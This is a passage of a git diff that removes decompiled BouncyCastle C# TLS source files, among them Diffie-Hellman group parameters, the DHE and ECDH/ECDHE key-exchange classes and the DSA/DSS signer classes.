"FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B4238611FCFDCDE355B3B6519035BBC34F4DEF99C023861B46FC9D6E6C9077AD91D2691F7F7EE598CB0FAC186D91CAEFE130985139270B4130C93BC437944F4FD4452E2D74DD364F2E21E71F54BFF5CAE82AB9C9DF69EE86D2BC522363A0DABC521979B0DEADA1DBF9A42D5C4484E0ABCD06BFA53DDEF3C1B20EE3FD59D7C25E41D2B669E1EF16E6F52C3164DF4FB7930E9E4E58857B6AC7D5F42D69F6D187763CF1D5503400487F55BA57E31CC7A7135C886EFB4318AED6A1E012D9E6832A907600A918130C46DC778F971AD0038092999A333CB8B7A1A1DB93D7140003C2A4ECEA9F98D0ACC0A8291CDCEC97DCF8EC9B55A7F88A46B4DB5A851F44182E1C68A007E5E0DD9020BFD64B645036C7A4E677D2C38532A3A23BA4442CAF53EA63BB454329B7624C8917BDD64B1C0FD4CB38E8C334C701C3ACDAD0657FCCFEC719B1F5C3E4E46041F388147FB4CFDB477A52471F7A9A96910B855322EDB6340D8A00EF092350511E30ABEC1FFF9E3A26E7FB29F8C183023C3587E38DA0077D9B4763E4E4B94B2BBC194C6651E77CAF992EEAAC0232A281BF6B3A739C1226116820AE8DB5847A67CBEF9C9091B462D538CD72B03746AE77F5E62292C311562A846505DC82DB854338AE49F5235C95B91178CCF2DD5CACEF403EC9D1810C6272B045B3B71F9DC6B80D63FDD4A8E9ADB1E6962A69526D43161C1A41D570D7938DAD4A40E329CD0E40E65FFFFFFFFFFFFFFFF"; - - internal static readonly DHParameters draft_ffdhe6144 = FromSafeP(draft_ffdhe6144_p); - - private static readonly string draft_ffdhe8192_p = "FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B4238611FCFDCDE355B3B6519035BBC34F4DEF99C023861B46FC9D6E6C9077AD91D2691F7F7EE598CB0FAC186D91CAEFE130985139270B4130C93BC437944F4FD4452E2D74DD364F2E21E71F54BFF5CAE82AB9C9DF69EE86D2BC522363A0DABC521979B0DEADA1DBF9A42D5C4484E0ABCD06BFA53DDEF3C1B20EE3FD59D7C25E41D2B669E1EF16E6F52C3164DF4FB7930E9E4E58857B6AC7D5F42D69F6D187763CF1D5503400487F55BA57E31CC7A7135C886EFB4318AED6A1E012D9E6832A907600A918130C46DC778F971AD0038092999A333CB8B7A1A1DB93D7140003C2A4ECEA9F98D0ACC0A8291CDCEC97DCF8EC9B55A7F88A46B4DB5A851F44182E1C68A007E5E0DD9020BFD64B645036C7A4E677D2C38532A3A23BA4442CAF53EA63BB454329B7624C8917BDD64B1C0FD4CB38E8C334C701C3ACDAD0657FCCFEC719B1F5C3E4E46041F388147FB4CFDB477A52471F7A9A96910B855322EDB6340D8A00EF092350511E30ABEC1FFF9E3A26E7FB29F8C183023C3587E38DA0077D9B4763E4E4B94B2BBC194C6651E77CAF992EEAAC0232A281BF6B3A739C1226116820AE8DB5847A67CBEF9C9091B462D538CD72B03746AE77F5E62292C311562A846505DC82DB854338AE49F5235C95B91178CCF2DD5CACEF403EC9D1810C6272B045B3B71F9DC6B80D63FDD4A8E9ADB1E6962A69526D43161C1A41D570D7938DAD4A40E329CCFF46AAA36AD004CF600C8381E425A31D951AE64FDB23FCEC9509D43687FEB69EDD1CC5E0B8CC3BDF64B10EF86B63142A3AB8829555B2F747C932665CB2C0F1CC01BD70229388839D2AF05E454504AC78B7582822846C0BA35C35F5C59160CC046FD8251541FC68C9C86B022BB7099876A460E7451A8A93109703FEE1C217E6C3826E52C51AA691E0E423CFC99E9E31650C1217B624816CDAD9A95F9D5B8019488D9C0A0A1FE3075A577E23183F81D4A3F2FA4571EFC8CE0BA8A4FE8B6855DFE72B0A66EDED2FBABFBE58A30FAFABE1C5D71A87E2F741EF8C1FE86FEA6BBFDE530677F0D97D11D49F7A8443D0822E506A9F4614E011E2A94838FF88CD68C8BB7C5C6424CFFFFFFFFFFFFFFFF"; - - internal static readonly DHParameters draft_ffdhe8192 = FromSafeP(draft_ffdhe8192_p); - - private static BigInteger FromHex(string hex) - { - return new BigInteger(1, Hex.Decode(hex)); - } - - private static DHParameters FromSafeP(string hexP) - { - BigInteger bigInteger = FromHex(hexP); - BigInteger q = bigInteger.ShiftRight(1); - return new DHParameters(bigInteger, Two, q); - } - - public static void AddNegotiatedDheGroupsClientExtension(IDictionary extensions, byte[] dheGroups) - { - extensions[ExtensionType.negotiated_ff_dhe_groups] = CreateNegotiatedDheGroupsClientExtension(dheGroups); - } - - public static void AddNegotiatedDheGroupsServerExtension(IDictionary extensions, byte dheGroup) - { - extensions[ExtensionType.negotiated_ff_dhe_groups] = CreateNegotiatedDheGroupsServerExtension(dheGroup); - } - - public static byte[] GetNegotiatedDheGroupsClientExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, ExtensionType.negotiated_ff_dhe_groups); - if (extensionData != null) - { - return ReadNegotiatedDheGroupsClientExtension(extensionData); - } - return null; - } - - public static short GetNegotiatedDheGroupsServerExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, ExtensionType.negotiated_ff_dhe_groups); - if (extensionData != null) - { - return ReadNegotiatedDheGroupsServerExtension(extensionData); - } - return -1; - } - - public static byte[] CreateNegotiatedDheGroupsClientExtension(byte[] dheGroups) - { - if (dheGroups == null || dheGroups.Length < 1 || dheGroups.Length > 255) - { - throw new TlsFatalAlert(80); - } - return TlsUtilities.EncodeUint8ArrayWithUint8Length(dheGroups); - } - - public static byte[] CreateNegotiatedDheGroupsServerExtension(byte dheGroup) - { - return TlsUtilities.EncodeUint8(dheGroup); - } - - public static byte[] ReadNegotiatedDheGroupsClientExtension(byte[] extensionData) - { - byte[] array = TlsUtilities.DecodeUint8ArrayWithUint8Length(extensionData); - if (array.Length < 1) - { - throw new TlsFatalAlert(50); - } - return array; - } - - public static byte ReadNegotiatedDheGroupsServerExtension(byte[] extensionData) - { - return TlsUtilities.DecodeUint8(extensionData); - } - - public static DHParameters GetParametersForDHEGroup(short dheGroup) - { - return dheGroup switch - { - 0 => draft_ffdhe2432, - 1 => draft_ffdhe3072, - 2 => draft_ffdhe4096, - 3 => draft_ffdhe6144, - 4 => draft_ffdhe8192, - _ => null, - }; - } - - public static bool ContainsDheCipherSuites(int[] cipherSuites) - { - for (int i = 0; i < cipherSuites.Length; i++) - { - if (IsDheCipherSuite(cipherSuites[i])) - { - return true; - } - } - return false; - } - - public static bool IsDheCipherSuite(int cipherSuite) - { - switch (cipherSuite) - { - case 17: - case 18: - case 19: - case 20: - case 21: - case 22: - case 24: - case 27: - case 45: - case 50: - case 51: - case 52: - case 56: - case 57: - case 58: - case 64: - case 68: - case 69: - case 70: - case 103: - case 106: - case 107: - case 108: - case 109: - case 135: - case 136: - case 137: - case 142: - case 143: - case 144: - case 145: - case 153: - case 154: - case 155: - case 158: - case 159: - case 162: - case 163: - case 166: - case 167: - case 170: - case 171: - case 178: - case 179: - case 180: - case 181: - case 189: - case 190: - case 191: - case 195: - case 196: - case 197: - case 49276: - case 49277: - case 49280: - case 49281: - case 49284: - case 49285: - case 49296: - case 49297: - case 49302: - case 49303: - case 49310: - case 49311: - case 49314: - case 49315: - case 49318: - case 49319: - case 49322: - case 49323: - case 52394: - case 52397: - case 65280: - case 65281: - case 65298: - case 65299: - return true; - default: - return false; - } - } - - public static bool AreCompatibleParameters(DHParameters a, DHParameters b) - { - if (a.P.Equals(b.P) && a.G.Equals(b.G)) - { - if (a.Q != null && b.Q != null) - { - return a.Q.Equals(b.Q); - } - return true; - } - return false; - } - - public static byte[] CalculateDHBasicAgreement(DHPublicKeyParameters publicKey, DHPrivateKeyParameters privateKey) - { - DHBasicAgreement dHBasicAgreement = new DHBasicAgreement(); - dHBasicAgreement.Init(privateKey); - BigInteger n = dHBasicAgreement.CalculateAgreement(publicKey); - return BigIntegers.AsUnsignedByteArray(n); - } - - public static AsymmetricCipherKeyPair GenerateDHKeyPair(SecureRandom random, DHParameters dhParams) - { - DHBasicKeyPairGenerator dHBasicKeyPairGenerator = new DHBasicKeyPairGenerator(); - dHBasicKeyPairGenerator.Init(new DHKeyGenerationParameters(random, dhParams)); - return dHBasicKeyPairGenerator.GenerateKeyPair(); - } - - public static DHPrivateKeyParameters GenerateEphemeralClientKeyExchange(SecureRandom random, DHParameters dhParams, Stream output) - { - AsymmetricCipherKeyPair asymmetricCipherKeyPair = GenerateDHKeyPair(random, dhParams); - DHPublicKeyParameters dHPublicKeyParameters = (DHPublicKeyParameters)asymmetricCipherKeyPair.Public; - WriteDHParameter(dHPublicKeyParameters.Y, output); - return (DHPrivateKeyParameters)asymmetricCipherKeyPair.Private; - } - - public static DHPrivateKeyParameters GenerateEphemeralServerKeyExchange(SecureRandom random, DHParameters dhParams, Stream output) - { - AsymmetricCipherKeyPair asymmetricCipherKeyPair = GenerateDHKeyPair(random, dhParams); - DHPublicKeyParameters dHPublicKeyParameters = (DHPublicKeyParameters)asymmetricCipherKeyPair.Public; - WriteDHParameters(dhParams, output); - WriteDHParameter(dHPublicKeyParameters.Y, output); - return (DHPrivateKeyParameters)asymmetricCipherKeyPair.Private; - } - - public static BigInteger ReadDHParameter(Stream input) - { - return new BigInteger(1, TlsUtilities.ReadOpaque16(input)); - } - - public static DHParameters ReadDHParameters(Stream input) - { - BigInteger p = ReadDHParameter(input); - BigInteger g = ReadDHParameter(input); - return new DHParameters(p, g); - } - - public static DHParameters ReceiveDHParameters(TlsDHVerifier dhVerifier, Stream input) - { - DHParameters dHParameters = ReadDHParameters(input); - if (!dhVerifier.Accept(dHParameters)) - { - throw new TlsFatalAlert(71); - } - return dHParameters; - } - - public static void WriteDHParameter(BigInteger x, Stream output) - { - TlsUtilities.WriteOpaque16(BigIntegers.AsUnsignedByteArray(x), output); - } - - public static void WriteDHParameters(DHParameters dhParameters, Stream output) - { - WriteDHParameter(dhParameters.P, output); - WriteDHParameter(dhParameters.G, output); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDHVerifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDHVerifier.cs deleted file mode 100644 index ae8fb2f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDHVerifier.cs +++ /dev/null @@ -1,8 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsDHVerifier -{ - bool Accept(DHParameters dhParameters); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDeflateCompression.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDeflateCompression.cs deleted file mode 100644 index c0b1453..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDeflateCompression.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.Zlib; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsDeflateCompression : TlsCompression -{ - protected class DeflateOutputStream : ZOutputStream - { - public DeflateOutputStream(Stream output, ZStream z, bool compress) - : base(output, z) - { - base.compress = compress; - FlushMode = 2; - } - - public override void Flush() - { - } - } - - public const int LEVEL_NONE = 0; - - public const int LEVEL_FASTEST = 1; - - public const int LEVEL_SMALLEST = 9; - - public const int LEVEL_DEFAULT = -1; - - protected readonly ZStream zIn; - - protected readonly ZStream zOut; - - public TlsDeflateCompression() - : this(-1) - { - } - - public TlsDeflateCompression(int level) - { - zIn = new ZStream(); - zIn.inflateInit(); - zOut = new ZStream(); - zOut.deflateInit(level); - } - - public virtual Stream Compress(Stream output) - { - return new DeflateOutputStream(output, zOut, compress: true); - } - - public virtual Stream Decompress(Stream output) - { - return new DeflateOutputStream(output, zIn, compress: false); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDheKeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDheKeyExchange.cs deleted file mode 100644 index b7ca732..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDheKeyExchange.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsDheKeyExchange : TlsDHKeyExchange -{ - protected TlsSignerCredentials mServerCredentials = null; - - [Obsolete("Use constructor that takes a TlsDHVerifier")] - public TlsDheKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, DHParameters dhParameters) - : this(keyExchange, supportedSignatureAlgorithms, new DefaultTlsDHVerifier(), dhParameters) - { - } - - public TlsDheKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, TlsDHVerifier dhVerifier, DHParameters dhParameters) - : base(keyExchange, supportedSignatureAlgorithms, dhVerifier, dhParameters) - { - } - - public override void ProcessServerCredentials(TlsCredentials serverCredentials) - { - if (!(serverCredentials is TlsSignerCredentials)) - { - throw new TlsFatalAlert(80); - } - ProcessServerCertificate(serverCredentials.Certificate); - mServerCredentials = (TlsSignerCredentials)serverCredentials; - } - - public override byte[] GenerateServerKeyExchange() - { - if (mDHParameters == null) - { - throw new TlsFatalAlert(80); - } - DigestInputBuffer digestInputBuffer = new DigestInputBuffer(); - mDHAgreePrivateKey = TlsDHUtilities.GenerateEphemeralServerKeyExchange(mContext.SecureRandom, mDHParameters, digestInputBuffer); - SignatureAndHashAlgorithm signatureAndHashAlgorithm = TlsUtilities.GetSignatureAndHashAlgorithm(mContext, mServerCredentials); - IDigest digest = TlsUtilities.CreateHash(signatureAndHashAlgorithm); - SecurityParameters securityParameters = mContext.SecurityParameters; - digest.BlockUpdate(securityParameters.clientRandom, 0, securityParameters.clientRandom.Length); - digest.BlockUpdate(securityParameters.serverRandom, 0, securityParameters.serverRandom.Length); - digestInputBuffer.UpdateDigest(digest); - byte[] hash = DigestUtilities.DoFinal(digest); - byte[] signature = mServerCredentials.GenerateCertificateSignature(hash); - DigitallySigned digitallySigned = new DigitallySigned(signatureAndHashAlgorithm, signature); - digitallySigned.Encode(digestInputBuffer); - return digestInputBuffer.ToArray(); - } - - public override void ProcessServerKeyExchange(Stream input) - { - SecurityParameters securityParameters = mContext.SecurityParameters; - SignerInputBuffer signerInputBuffer = new SignerInputBuffer(); - Stream input2 = new TeeInputStream(input, signerInputBuffer); - mDHParameters = TlsDHUtilities.ReceiveDHParameters(mDHVerifier, input2); - mDHAgreePublicKey = new DHPublicKeyParameters(TlsDHUtilities.ReadDHParameter(input2), mDHParameters); - DigitallySigned digitallySigned = ParseSignature(input); - ISigner signer = InitVerifyer(mTlsSigner, digitallySigned.Algorithm, securityParameters); - signerInputBuffer.UpdateSigner(signer); - if (!signer.VerifySignature(digitallySigned.Signature)) - { - throw new TlsFatalAlert(51); - } - } - - protected virtual ISigner InitVerifyer(TlsSigner tlsSigner, SignatureAndHashAlgorithm algorithm, SecurityParameters securityParameters) - { - ISigner signer = tlsSigner.CreateVerifyer(algorithm, mServerPublicKey); - signer.BlockUpdate(securityParameters.clientRandom, 0, securityParameters.clientRandom.Length); - signer.BlockUpdate(securityParameters.serverRandom, 0, securityParameters.serverRandom.Length); - return signer; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDsaSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDsaSigner.cs deleted file mode 100644 index b935553..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDsaSigner.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Signers; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class TlsDsaSigner : AbstractTlsSigner -{ - protected abstract byte SignatureAlgorithm { get; } - - public override byte[] GenerateRawSignature(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter privateKey, byte[] hash) - { - ISigner signer = MakeSigner(algorithm, raw: true, forSigning: true, new ParametersWithRandom(privateKey, mContext.SecureRandom)); - if (algorithm == null) - { - signer.BlockUpdate(hash, 16, 20); - } - else - { - signer.BlockUpdate(hash, 0, hash.Length); - } - return signer.GenerateSignature(); - } - - public override bool VerifyRawSignature(SignatureAndHashAlgorithm algorithm, byte[] sigBytes, AsymmetricKeyParameter publicKey, byte[] hash) - { - ISigner signer = MakeSigner(algorithm, raw: true, forSigning: false, publicKey); - if (algorithm == null) - { - signer.BlockUpdate(hash, 16, 20); - } - else - { - signer.BlockUpdate(hash, 0, hash.Length); - } - return signer.VerifySignature(sigBytes); - } - - public override ISigner CreateSigner(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter privateKey) - { - return MakeSigner(algorithm, raw: false, forSigning: true, privateKey); - } - - public override ISigner CreateVerifyer(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter publicKey) - { - return MakeSigner(algorithm, raw: false, forSigning: false, publicKey); - } - - protected virtual ICipherParameters MakeInitParameters(bool forSigning, ICipherParameters cp) - { - return cp; - } - - protected virtual ISigner MakeSigner(SignatureAndHashAlgorithm algorithm, bool raw, bool forSigning, ICipherParameters cp) - { - if (algorithm != null != TlsUtilities.IsTlsV12(mContext)) - { - throw new InvalidOperationException(); - } - if (algorithm != null && algorithm.Signature != SignatureAlgorithm) - { - throw new InvalidOperationException(); - } - byte hashAlgorithm = algorithm?.Hash ?? 2; - IDigest digest = (raw ? new NullDigest() : TlsUtilities.CreateHash(hashAlgorithm)); - ISigner signer = new DsaDigestSigner(CreateDsaImpl(hashAlgorithm), digest); - signer.Init(forSigning, MakeInitParameters(forSigning, cp)); - return signer; - } - - protected abstract IDsa CreateDsaImpl(byte hashAlgorithm); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDssSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDssSigner.cs deleted file mode 100644 index 240435d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsDssSigner.cs +++ /dev/null @@ -1,19 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Signers; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsDssSigner : TlsDsaSigner -{ - protected override byte SignatureAlgorithm => 2; - - public override bool IsValidPublicKey(AsymmetricKeyParameter publicKey) - { - return publicKey is DsaPublicKeyParameters; - } - - protected override IDsa CreateDsaImpl(byte hashAlgorithm) - { - return new DsaSigner(new HMacDsaKCalculator(TlsUtilities.CreateHash(hashAlgorithm))); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsECDHKeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsECDHKeyExchange.cs deleted file mode 100644 index c34dd2d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsECDHKeyExchange.cs +++ /dev/null @@ -1,226 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsECDHKeyExchange : AbstractTlsKeyExchange -{ - protected TlsSigner mTlsSigner; - - protected int[] mNamedCurves; - - protected byte[] mClientECPointFormats; - - protected byte[] mServerECPointFormats; - - protected AsymmetricKeyParameter mServerPublicKey; - - protected TlsAgreementCredentials mAgreementCredentials; - - protected ECPrivateKeyParameters mECAgreePrivateKey; - - protected ECPublicKeyParameters mECAgreePublicKey; - - public override bool RequiresServerKeyExchange - { - get - { - switch (mKeyExchange) - { - case 17: - case 19: - case 20: - return true; - default: - return false; - } - } - } - - public TlsECDHKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, int[] namedCurves, byte[] clientECPointFormats, byte[] serverECPointFormats) - : base(keyExchange, supportedSignatureAlgorithms) - { - switch (keyExchange) - { - case 19: - mTlsSigner = new TlsRsaSigner(); - break; - case 17: - mTlsSigner = new TlsECDsaSigner(); - break; - case 16: - case 18: - case 20: - mTlsSigner = null; - break; - default: - throw new InvalidOperationException("unsupported key exchange algorithm"); - } - mNamedCurves = namedCurves; - mClientECPointFormats = clientECPointFormats; - mServerECPointFormats = serverECPointFormats; - } - - public override void Init(TlsContext context) - { - base.Init(context); - if (mTlsSigner != null) - { - mTlsSigner.Init(context); - } - } - - public override void SkipServerCredentials() - { - if (mKeyExchange != 20) - { - throw new TlsFatalAlert(10); - } - } - - public override void ProcessServerCertificate(Certificate serverCertificate) - { - if (mKeyExchange == 20) - { - throw new TlsFatalAlert(10); - } - if (serverCertificate.IsEmpty) - { - throw new TlsFatalAlert(42); - } - X509CertificateStructure certificateAt = serverCertificate.GetCertificateAt(0); - SubjectPublicKeyInfo subjectPublicKeyInfo = certificateAt.SubjectPublicKeyInfo; - try - { - mServerPublicKey = PublicKeyFactory.CreateKey(subjectPublicKeyInfo); - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(43, alertCause); - } - if (mTlsSigner == null) - { - try - { - mECAgreePublicKey = TlsEccUtilities.ValidateECPublicKey((ECPublicKeyParameters)mServerPublicKey); - } - catch (InvalidCastException alertCause2) - { - throw new TlsFatalAlert(46, alertCause2); - } - TlsUtilities.ValidateKeyUsage(certificateAt, 8); - } - else - { - if (!mTlsSigner.IsValidPublicKey(mServerPublicKey)) - { - throw new TlsFatalAlert(46); - } - TlsUtilities.ValidateKeyUsage(certificateAt, 128); - } - base.ProcessServerCertificate(serverCertificate); - } - - public override byte[] GenerateServerKeyExchange() - { - if (!RequiresServerKeyExchange) - { - return null; - } - MemoryStream memoryStream = new MemoryStream(); - mECAgreePrivateKey = TlsEccUtilities.GenerateEphemeralServerKeyExchange(mContext.SecureRandom, mNamedCurves, mClientECPointFormats, memoryStream); - return memoryStream.ToArray(); - } - - public override void ProcessServerKeyExchange(Stream input) - { - if (!RequiresServerKeyExchange) - { - throw new TlsFatalAlert(10); - } - ECDomainParameters curve_params = TlsEccUtilities.ReadECParameters(mNamedCurves, mClientECPointFormats, input); - byte[] encoding = TlsUtilities.ReadOpaque8(input); - mECAgreePublicKey = TlsEccUtilities.ValidateECPublicKey(TlsEccUtilities.DeserializeECPublicKey(mClientECPointFormats, curve_params, encoding)); - } - - public override void ValidateCertificateRequest(CertificateRequest certificateRequest) - { - if (mKeyExchange == 20) - { - throw new TlsFatalAlert(40); - } - byte[] certificateTypes = certificateRequest.CertificateTypes; - for (int i = 0; i < certificateTypes.Length; i++) - { - switch (certificateTypes[i]) - { - case 1: - case 2: - case 64: - case 65: - case 66: - continue; - } - throw new TlsFatalAlert(47); - } - } - - public override void ProcessClientCredentials(TlsCredentials clientCredentials) - { - if (mKeyExchange == 20) - { - throw new TlsFatalAlert(80); - } - if (clientCredentials is TlsAgreementCredentials) - { - mAgreementCredentials = (TlsAgreementCredentials)clientCredentials; - } - else if (!(clientCredentials is TlsSignerCredentials)) - { - throw new TlsFatalAlert(80); - } - } - - public override void GenerateClientKeyExchange(Stream output) - { - if (mAgreementCredentials == null) - { - mECAgreePrivateKey = TlsEccUtilities.GenerateEphemeralClientKeyExchange(mContext.SecureRandom, mServerECPointFormats, mECAgreePublicKey.Parameters, output); - } - } - - public override void ProcessClientCertificate(Certificate clientCertificate) - { - if (mKeyExchange == 20) - { - throw new TlsFatalAlert(10); - } - } - - public override void ProcessClientKeyExchange(Stream input) - { - if (mECAgreePublicKey == null) - { - byte[] encoding = TlsUtilities.ReadOpaque8(input); - ECDomainParameters parameters = mECAgreePrivateKey.Parameters; - mECAgreePublicKey = TlsEccUtilities.ValidateECPublicKey(TlsEccUtilities.DeserializeECPublicKey(mServerECPointFormats, parameters, encoding)); - } - } - - public override byte[] GeneratePremasterSecret() - { - if (mAgreementCredentials != null) - { - return mAgreementCredentials.GenerateAgreement(mECAgreePublicKey); - } - if (mECAgreePrivateKey != null) - { - return TlsEccUtilities.CalculateECDHBasicAgreement(mECAgreePublicKey, mECAgreePrivateKey); - } - throw new TlsFatalAlert(80); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsECDheKeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsECDheKeyExchange.cs deleted file mode 100644 index cb21239..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsECDheKeyExchange.cs +++ /dev/null @@ -1,94 +0,0 @@ -using System.Collections; -using System.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsECDheKeyExchange : TlsECDHKeyExchange -{ - protected TlsSignerCredentials mServerCredentials = null; - - public TlsECDheKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, int[] namedCurves, byte[] clientECPointFormats, byte[] serverECPointFormats) - : base(keyExchange, supportedSignatureAlgorithms, namedCurves, clientECPointFormats, serverECPointFormats) - { - } - - public override void ProcessServerCredentials(TlsCredentials serverCredentials) - { - if (!(serverCredentials is TlsSignerCredentials)) - { - throw new TlsFatalAlert(80); - } - ProcessServerCertificate(serverCredentials.Certificate); - mServerCredentials = (TlsSignerCredentials)serverCredentials; - } - - public override byte[] GenerateServerKeyExchange() - { - DigestInputBuffer digestInputBuffer = new DigestInputBuffer(); - mECAgreePrivateKey = TlsEccUtilities.GenerateEphemeralServerKeyExchange(mContext.SecureRandom, mNamedCurves, mClientECPointFormats, digestInputBuffer); - SignatureAndHashAlgorithm signatureAndHashAlgorithm = TlsUtilities.GetSignatureAndHashAlgorithm(mContext, mServerCredentials); - IDigest digest = TlsUtilities.CreateHash(signatureAndHashAlgorithm); - SecurityParameters securityParameters = mContext.SecurityParameters; - digest.BlockUpdate(securityParameters.clientRandom, 0, securityParameters.clientRandom.Length); - digest.BlockUpdate(securityParameters.serverRandom, 0, securityParameters.serverRandom.Length); - digestInputBuffer.UpdateDigest(digest); - byte[] hash = DigestUtilities.DoFinal(digest); - byte[] signature = mServerCredentials.GenerateCertificateSignature(hash); - DigitallySigned digitallySigned = new DigitallySigned(signatureAndHashAlgorithm, signature); - digitallySigned.Encode(digestInputBuffer); - return digestInputBuffer.ToArray(); - } - - public override void ProcessServerKeyExchange(Stream input) - { - SecurityParameters securityParameters = mContext.SecurityParameters; - SignerInputBuffer signerInputBuffer = new SignerInputBuffer(); - Stream input2 = new TeeInputStream(input, signerInputBuffer); - ECDomainParameters curve_params = TlsEccUtilities.ReadECParameters(mNamedCurves, mClientECPointFormats, input2); - byte[] encoding = TlsUtilities.ReadOpaque8(input2); - DigitallySigned digitallySigned = ParseSignature(input); - ISigner signer = InitVerifyer(mTlsSigner, digitallySigned.Algorithm, securityParameters); - signerInputBuffer.UpdateSigner(signer); - if (!signer.VerifySignature(digitallySigned.Signature)) - { - throw new TlsFatalAlert(51); - } - mECAgreePublicKey = TlsEccUtilities.ValidateECPublicKey(TlsEccUtilities.DeserializeECPublicKey(mClientECPointFormats, curve_params, encoding)); - } - - public override void ValidateCertificateRequest(CertificateRequest certificateRequest) - { - byte[] certificateTypes = certificateRequest.CertificateTypes; - for (int i = 0; i < certificateTypes.Length; i++) - { - switch (certificateTypes[i]) - { - case 1: - case 2: - case 64: - continue; - } - throw new TlsFatalAlert(47); - } - } - - public override void ProcessClientCredentials(TlsCredentials clientCredentials) - { - if (clientCredentials is TlsSignerCredentials) - { - return; - } - throw new TlsFatalAlert(80); - } - - protected virtual ISigner InitVerifyer(TlsSigner tlsSigner, SignatureAndHashAlgorithm algorithm, SecurityParameters securityParameters) - { - ISigner signer = tlsSigner.CreateVerifyer(algorithm, mServerPublicKey); - signer.BlockUpdate(securityParameters.clientRandom, 0, securityParameters.clientRandom.Length); - signer.BlockUpdate(securityParameters.serverRandom, 0, securityParameters.serverRandom.Length); - return signer; - } -} diff --git 